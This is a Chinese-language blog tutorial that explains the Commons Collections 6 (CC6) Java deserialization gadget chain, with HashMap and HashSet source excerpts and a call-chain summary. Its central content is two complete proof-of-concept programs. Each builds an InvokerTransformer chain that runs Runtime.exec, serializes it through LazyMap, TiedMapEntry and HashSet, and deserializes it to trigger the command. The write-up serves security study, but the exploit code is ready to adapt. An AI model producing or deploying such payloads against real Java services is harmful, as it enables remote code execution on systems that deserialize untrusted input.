环境准备

JDK1.8(8u421)我以本地的JDK8版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)

cc3.2:

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>

CC1攻击链:https://www.cnblogs.com/erosion2020/p/18553568

CC5攻击链:https://www.cnblogs.com/erosion2020/p/18555069

正文

CC6和CC5一样也是 CC1 的一个变种,在 CC6(CommonsCollections6)攻击链中,HashMapHashSet 起到了非常重要的作用。它们并不是攻击链的直接执行工具,而是用于 存储恶意数据结构,并且通过 反序列化 触发了恶意代码的执行。

HashMap

存储恶意的 TiedMapEntryHashMap 用来存储 TiedMapEntry,这个类在攻击链中起到了一个关键作用。TiedMapEntry 是一个键值对,它将一个 LazyMap 实例与一个键(如 "foo")绑定在一起。通过 LazyMap,在访问某个键时,攻击链中的 Transformer 会被触发执行。

CC6 攻击链中,HashMapTiedMapEntry 存入其中,并且通过 keySet() 获取 LazyMap 中的所有键。这个过程为后续的恶意代码执行提供了触发条件。

关键代码分析

在HashMap中重写了readObject方法

private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
......
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
// 重点是这里,他调用了hash(Key),从而触发TiedMapEntry的hashCode()方法,而从触发LazyMap中的get()方法
putVal(hash(key), key, value, false, false);
}
......
}

HashSet

存储 HashMapkeySet()HashSet 用来存储 HashMapkeySet(),即存储 LazyMap 中的键集合。在这个步骤中,HashSet 只是一个容器,用来接收 HashMap 中的条目集。keySet() 返回的是 LazyMap 中所有的键,而这些键与恶意的 TiedMapEntry 关联,这些条目会触发攻击链中的转换器(Transformer)。

HashSet 在反序列化时也会参与触发过程。当我们将这个 HashSet 序列化并反序列化后,LazyMap 和其中绑定的 Transformer 链会被触发,导致攻击链中的恶意行为得以执行。

在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上。

关键代码分析

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// HashSet内部维护了一个map对象,但是该Map对象的值都是空Object,也就是new Object()
private transient HashMap<E,Object> map;
......
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
// 重点在这里,他最终会调用到HashMap的put方法
map.put(e, PRESENT);
}
// 这里就触发了HashMap的hash方法
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
// 这里就能触发hashCode方法,如果这里的参数Object key是我们准备的TiedMapEntry攻击链对象,这样在反序列化之后就能执行我们的攻击链代码了
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

POC1(简化版本 - 适合初级学习调试)

ysoserial中的CC6代码中考虑到JDK的不同版本的字段差异处理,以及HashSet和HashMap中都使用到了放射的方法进行set字段值,其实我也不太理解为什么ysoserial的代码写的那么复杂,明明那些字段值可以不通过反射放进去的.....可能有其它额外的考虑,这里为了方便初学者学习,所以可以先调试这一份代码,这份代码熟练了之后可以再看一下下边我改写的ysoserial的代码,循序渐进的来。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map; public class CommonsCollections6 {
static String serialFileName = "commons-collections6.ser"; public static void main(String[] args) throws Exception {
cc6bySimplify();
verify();
} public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
} public static void cc6bySimplify() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); // 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
//TODO===========================CC6新的触发点 START By YsoSerial Simplify=============================
HashMap map = new HashMap();
map.put(entry, "1");
HashSet set = new HashSet(map.keySet());
lazyMap.clear();
//TODO===============================CC6新的触发点 END By YsoSerial Simplify=========================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(set);
oos.flush();
oos.close();
}
}

POC2(复杂版本 - 基于ysoserial)

这是基于ysoserial的代码改造的,但是逻辑几乎是没怎么动的,只是把ysoserial中调用的工具类变成了直接的写法。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map; public class CommonsCollections6 {
static String serialFileName = "commons-collections6.ser"; public static void main(String[] args) throws Exception {
cc6byYsoSerial();
verify();
} public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
} public static void cc6byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //TODO===========================CC6新的触发点 START By YsoSerial============================= HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map); Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl); Object node = array[0];
if(node == null){
node = array[1];
} Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry); //TODO===============================CC6新的触发点 END By YsoSerial========================= FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
oos.flush();
oos.close();
}
}

调试

来弹个cmd

调用链总结

  • ObjectInputStream.readObject()

    • HashSet.readObject()

      • HashMap.put()
      • HashMap.putVal()
      • HashMap.hash()
      • HashMap.hashCode()
        • TiedMapEntry.hashCode()
        • TiedMapEntry.getValue()
          • LazyMap.get()

            • ChainedTransformer.transform()

              • ConstantTransformer.transform()
              • InvokerTransformer.transform()
                • Method.invoke()
                • Class.getMethod()
              • InvokerTransformer.transform()
                • Method.invoke()
                • Runtime.getRuntime()
              • InvokerTransformer.transform()
                • Method.invoke()
                • Runtime.exec()

CommonsCollections6(基于ysoserial)的更多相关文章

  1. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

  2. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  3. Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)

    Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...

  4. 基于CommonsCollections4的Gadget分析

    基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...

  5. ysoserial Commons Collections1反序列化研究

    Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...

  6. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  7. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  8. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  9. Ysoserial Commons Collections7分析

    Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...

  10. 最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目

    最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目 最近一个来自重庆的客户找到走起君,客户的业务是做移动互联网支付,是微信支付收单渠道合作伙伴,数据库里存储的是支付流水和交易流水 ...

随机推荐

  1. ELK快速部署(踩坑记录、常见报错解决)及常用架构讲解

    ELK = Elasticserach + Logstash + kibana(包含但不仅限于) 简介: Elasticsearch:分布式搜索和分析引擎,具有高可伸缩.高可靠和易管理等特点.基于 A ...

  2. Android升 Androidx 语系切换失效

    背景: 一个很旧的Android项目,android升androidx 切换语系失败,debug的时候,传的语系值是对的,但是确实没有国际化效果 原因: 经过一番学习,原因是使用 implementa ...

  3. Android 国际化:新增越南语语系(Java)

    前提: 1. 在res文件夹中,新增values-vi文件夹(越南语文件夹) 2. 在步骤1的文件夹中,新增strings.xml 背景: 1. targetSdkVersion 29 2. Jdk ...

  4. C++: 16个基础的C++代码性能优化实例

    前言 近期推动项目屎山代码进行了一波性能优化,实现了较大的性能提升.这里记录了部分近期代码优化的小技巧,这些例子仅从C++语言层面进行优化,主要在于优化类设计.减少隐含函数调用.减少拷贝等,较为基础实 ...

  5. react-pdf预览在线PDF的使用

    1.在react项目中安装react-pdf依赖包 建议安装8.0.2版本的react-pdf,如果安装更高版本的可能出现一些浏览器的兼容性问题: npm install react-pdf@8.0. ...

  6. 精彩回顾 | Flutter Engage China 视频合集

    在上周的 Flutter Engage China 活动中,Google Flutter 团队和来自国内的开发者们共同探讨和交流 Flutter 的最新更新.实践和未来的发展.虽然只能通过线上交流,但 ...

  7. [OI] 偏序

    \(n\) 维偏序即给出若干个点对 \((a_{i},b_{i},\cdots,n_{i})\),对每个 \(i\) 求出满足 \(a_{j}\gt a_{i},b_{j}\gt b_{i}\cdot ...

  8. Android Perfetto 系列 1:Perfetto 工具简介

    2019 年开始写 Systrace 系列,陆陆续续写了 20 多篇,从基本使用到各个模块在 Systrace 上的呈现,再到启动速度.流畅性等实战,基本上可以满足初级系统开发者和 App 开发者对于 ...

  9. linux tracepoint增加

    引入tracepoint的背景 当需要获取内核的debug信息时,通常你会通过以下printk的方式打印信息: void trace_func() { //-- printk("输出信息&q ...

  10. ArgoWorkflow教程(六)---无缝实现步骤间参数传递

    之前我们分析了,Workflow.WorkflowTemplate .template 3 者之间如何传递参数. 本文主要分析同一个 Workflow 中的不同 step 之间实现参数传递,比如将上一 ...